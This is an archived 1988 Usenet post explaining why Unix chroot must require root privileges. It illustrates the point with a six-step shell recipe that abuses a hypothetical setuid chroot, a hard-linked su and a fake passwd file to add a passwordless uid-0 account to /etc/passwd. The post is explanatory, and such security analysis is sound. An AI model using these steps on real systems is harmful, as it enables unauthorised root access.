Xref: utzoo news.admin:4107 news.sysadmin:1724 comp.mail.uucp:2388 Path: utzoo!utgpu!watmath!clyde!att!rutgers!tut.cis.ohio-state.edu!bloom-beacon!athena.mit.edu!tytso From: tytso@athena.mit.edu (Theodore Y. Ts'o) Newsgroups: news.admin,news.sysadmin,comp.mail.uucp Subject: Re: Dangerous hole in Usenet! Message-ID: <8219@bloom-beacon.MIT.EDU> Date: 29 Nov 88 22:11:31 GMT References: <1971@van-bc.UUCP> <572@comdesign.CDI.COM> <5517@medusa.cs.purdue.edu> <561@redsox.UUCP> <215@twwells.uucp> <155@ecicrl.UUCP> Sender: daemon@bloom-beacon.MIT.EDU Reply-To: tytso@athena.mit.edu (Theodore Y. Ts'o) Organization: Massachusetts Institute of Technology Lines: 25 In article <155@ecicrl.UUCP> clewis@ecicrl.UUCP (Chris Lewis) writes: >Secondly, can someone out there explain why chroot is privileged? Or >why /etc/chroot isn't setuid? It seems pretty darn silly that some >mechanism that can only be used for *reducing* access rights requires >root permission. If only /etc/chroot allowed anybody to run it, and >it carefully made sure that there was a setuid(getuid()) etc before >invoking whatever it was going to invoke, the uuhosts unshar would >be trivial. Suppose that /tmp is on the same partition as /; or substitute /tmp for some other user writable directory in the same parition as su or some other setuid program you wish to confuse. Assume that chroot is setuid. 1) cd /tmp;mkdir bin etc; ln /bin/su /tmp/bin/su 2) create /tmp/etc/passwd with one line: "root::0:1:::" 3) ln /etc/passwd /tmp/etc/passwd.real 4) chroot /tmp su 5) append to (now) /etc/passwd.real "newroot::0:1:::" 6) GAME OVER. That's why chroot requires setuid priviledges..... =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Theodore Ts'o mit-eddie!mit-athena!tytso 3 Ames St., Cambridge, MA 02139 tytso@athena.mit.edu If it's for real, it isn't!